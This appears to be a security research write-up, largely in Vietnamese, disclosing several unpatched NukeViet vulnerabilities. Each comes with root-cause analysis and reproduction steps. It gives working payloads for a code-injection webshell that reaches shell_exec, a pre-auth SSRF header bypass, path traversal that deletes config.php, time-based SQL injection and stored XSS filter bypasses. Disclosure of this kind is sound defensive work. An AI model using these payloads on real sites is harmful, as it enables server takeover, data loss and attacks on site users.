Nukeviet 0-days Research
Nukeviet 0-days Research
Code Injection lead to RCE at SEO Tool function in nukeviet
Description
| Type | Version Affected | Authentication required | ?-day |
|---|---|---|---|
| Code Injection | ≤ 4.5.08 | Yes (admin) | 0-day |
Root cause
Source
admin\seotools\robots.php

Hàm $nv_Request->get_array('filename', 'post') ở dòng 19 lấy dữ liệu từ array $_POST['filename'] với body có dạng filename[<key>] = <value>.
Tại dòng 32, input đi qua hàm serialize() và gắn vào biến $content_config
Sink
Tại dòng 35, data đã được serialize được đưa vào vào hàm file_put_content() để ghi vào file /data/config/robots.php

Cuối cùng, tại dòng 86, file cache vừa được tạo được include để đọc lại cấu hình, code PHP bị nhúng bên trong sẽ lập tức được thực thi.
Steps to reproduce
Đăng nhập vào giao diện Admin → SEO tool → Config. robots.txt

Kéo xuống cuối → Submit → Intercept Request và thêm payload vào cuối file
Payload: &filename%5b'%3b%20extract(%24_GET)%3b%20echo%20shell_exec(%24cmd)%3b%2f%2f%5d%3d1
Decode: &filename['; extract($_GET); echo shell_exec($cmd);//]=1

Forward → Truy cập lại url:
http://localhost/nukeviet222/admin/index.php?language=en&nv=seotools&op=robots&rand=t2CjiR6I&cmd=<command>

File cache robots đã được ghi trên server:
data\config\robots.php

Pre-auth SSRF in nukeviet
Description
| Type | Version Affected | Authentication required | ?-day |
|---|---|---|---|
| SSRF | ≤ 4.5.08 | No | 0-day |
Root cause
Source
vendor/vinades/nukeviet/Core/Server.php

Ứng dụng lấy thông tin từ HTTP Header X-Forwarded-Host (hoặc HTTP_X_FORWARDED_HOST) từ request và gán vào $original_host.
VD:
GET / HTTP/1.1
Host: 127.0.0.1
X-Forwarded-Host: attacker.com
$original_host = “attacker.com”
Tiếp theo, nếu $original_host !== false thì nhảy xuống hàm standardizeHost() để làm sạch host:

Regex này có tác dụng nhằm loại bỏ port ở cuối cùng của Host.
127.0.0.1:8080 → 127.0.0.1
Có thể bypass regex này bằng dấu gạch chéo (/) vào cuối host. Ví dụ 127.0.0.1:8081/. Khi đó, chuỗi kết thúc bằng dấu / chứ không phải là chữ số, làm cho regex (\:[0-9]+)$ mất tác dụng và không thể cắt bỏ được phần port.
→ $this->original_host = 127.0.0.1:8081/.
Sink
includes/ini.php

Hàm server_info_update() có tác dụng tự động thăm dò môi trường của máy chủ Web. Nó sẽ tự gửi HTTP Request đến chính website của mình, sau đó đọc lại các HTTP Header trả về để xem server có hỗ trợ HTTP/2, HTTPS-Only, hoặc các cơ chế nén dữ liệu hay không. Từ đó cập nhật bộ nhớ đệm và config_global.php.
Để biết cần gửi request đến đâu, tại dòng 30, hàm này gọi phương thức $nv_Server->getOriginalHost():

Chính là original_host được lấy từ header X-Forwarded-Host ở phía trên.
Tại dòng 44, hệ thống khởi tạo hàm curl_init với URL được nối thẳng cùng biến $host do attacker kiểm soát.
Tại dòng 55, ứng dụng sử dụng hàm curl_exec() để gửi request đến url do attacker kiểm soát.
Steps to reproduce
Gửi một POST Request đến endpoint bất kỳ kèm:
-
Header:
X-Forwarded-Proto: http X-Forwarded-Host: 127.0.0.1:8081/
-
Body:
__serverInfoUpdate=1
Request
POST /nukeviet/ HTTP/1.1
Host: localhost
sec-ch-ua: "Chromium";v="127", "Not)A;Brand";v="99"
Accept-Language: en-US
sec-ch-ua-mobile: ?0
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/127.0.6533.100 Safari/537.36
sec-ch-ua-platform: "Windows"
Sec-Fetch-Site: same-origin
Sec-Fetch-Mode: no-cors
Sec-Fetch-Dest: script
Referer: http://localhost/nukeviet/
Accept-Encoding: gzip, deflate, br
**X-Forwarded-Proto: http
X-Forwarded-Host: 127.0.0.1:8081/**
Connection: keep-alive
Content-Type: application/x-www-form-urlencoded
Content-Length: 20
__serverInfoUpdate=1


oast.fun


Path Traversal to Arbitrary File Deletion in Edit Comment Function
Description
| Type | Version Affected | Authentication required | ?-day |
|---|---|---|---|
| Path traversal | ≤ 4.5.08 | Yes (Admin) | 0-day |
Root Cause
modules/comment/admin/edit.php

Dòng 48, ứng dụng nhận giá trị attach qua HTTP POST.
Dòng 50, hàm substr() thực hiện cắt bỏ phần tiền tố của attach
VD:
NV_BASE_SITEURL:/nukeviet/NV_UPLOADS_DIR:uploads$module_upload:comment
→ /nukeviet/uploads/comment/
Hàm strlen('/nukeviet/uploads/comment/') đếm độ dài chuỗi này là 26 ký tự.
→ $attach = substr($attach, 26); : lấy chuỗi từ vị trí thứ 26 trở đi.
Dòng 55, $attach được lưu vào database.

Sau đó, lỗ hổng Xóa file bị kích hoạt tại:
modules/comment/admin/del.php


Do hàm nv_deletefile() không có các bước chặn path traversal và chỉ giới hạn việc xóa không vượt quá Root Dir mà không chặn xóa tệp ngoài thư mục Upload. Do đó, các tệp như config.php sẽ bị xóa mất bằng payload:
attach=aaaaaaaaaaaaaaaaaaaaaaaaaa../../config.php (26 ký tự a)
Steps to reproduce
Goal: Xóa file config.php
Truy cập trang admin → Quản lý bình luận

Chọn một bình luận bất kỳ và edit:

Intercept lại request và thêm payload aaaaaaaaaaaaaaaaaaaaaaaaaa../../config.php vào param attach:

Forward và tiến hành xóa bình luận đó:

Xóa thành công file config → Ứng dụng tự động redirect về trang install:

Post-Auth SQL Injection in module_shops version <= 4.5.03 of nukeviet
Description
| Type | Version Affected | Authentication required | ?-day |
|---|---|---|---|
| SQL Injection | ≤ 4.5.08, module_shops <= 4.5.03 | Yes | 0-day |
Root cause
modules\shops\admin\order.php

The data from the order_payment parameter is concatenated directly into the SQL query without validation.
This query is executed at:

Steps to reproduce
Log in with an administrator account and navigate to the Shops module:

Intercept the Search request and inject the following payload into the order_payment parameter: -999%20or%20sleep(3)%20--%20a
This payload causes the application to sleep for a total of 18 seconds (3 seconds for each of the 6 columns).

Multiple Anti-XSS Filter Bypasses leading to Stored XSS in News Module.
Description
| Type | Version Affected | Authentication required | ?-day |
|---|---|---|---|
| Stored XSS | ≤ 4.5.08 | Yes (Low) | 0-day |
Root cause
modules/news/funcs/content.php


Tại Dòng 392-393, hệ thống lấy dữ liệu nội dung từ POST Request.
Do hằng số NV_EDITOR luôn được định nghĩa, hệ thống sẽ thực thi nhánh nv_nl2br($bodyhtml, ''). Hàm này chỉ xử lý ngắt dòng và không có chức năng làm sạch dữ liệu.

Ứng dụng chỉ validate input người dùng bằng hàm get_string() với request POST.
Đi vào hàm get_string() -> get_value() -> security_post():

Hàm security_pos() (dòng 1058) gọi $value = $this->filterTags($value);
Tại đây ứng dụng gọi hàm filterAttr() :

Đi vào hàm filterAttr():

Do hàm trim() của PHP chỉ xóa các ký trị khoảng trắng, không xóa ký tự Form Feed (0x0C) , chuỗi [0x0C]onerror dễ dàng vượt qua bộ lọc preg_match('/^on/i') để lưu vào cơ sở dữ liệu. Khi hiển thị ở frontend, trình duyệt HTML5 lại nhận diện 0x0C là một khoảng trắng hợp lệ, từ đó kích hoạt thuộc tính onerror và thực thi javascript.
Payload mẫu: <img src=x %0Conerror=alert('0-click-XSS')>
Ngoài ra, còn có thể Bypass data URI bằng Entity 	 (XSS qua thẻ ).

Regex sử dụng \s* để bắt khoảng trắng, nhưng \s của PHP không hiểu Entity 	 . Do đó, Regex không phát hiện ra javascript. Có thể sử dụng HTML Entity (Tab) chèn vào giữa chữ javascript để bỏ qua preg_replace này.
Payload mẫu: <a href="jav	ascript:alert('XSS_Bypass')">Click me</a>
Steps to reproduce
Sử dụng tài khoản user có quyền đăng bài viết.
Tin tức -> Quản lý bài viết -> Đăng bài viết

Đăng bài viết với đầy đủ thông tin và Intercept request.

Chèn payload: Content%3a%20%3cimg%20src%3d%22x%22%20%0conerror%3d%22alert('0-click-XSS')%22%20%3e vào trường bodyhtml và Forward Request:

Truy cập Tin tức -> Quản lý bài viết -> Bài viết vừa tạo:

XSS Triggered.
Làm tương tự với cách bypass thứ 2 kèm payload: Content%3a+<a+href%3d"jav%26%239%3bascript%3aalert('XSS_Bypass')">Click+me</a>

Click Click me -> XSS Triggered
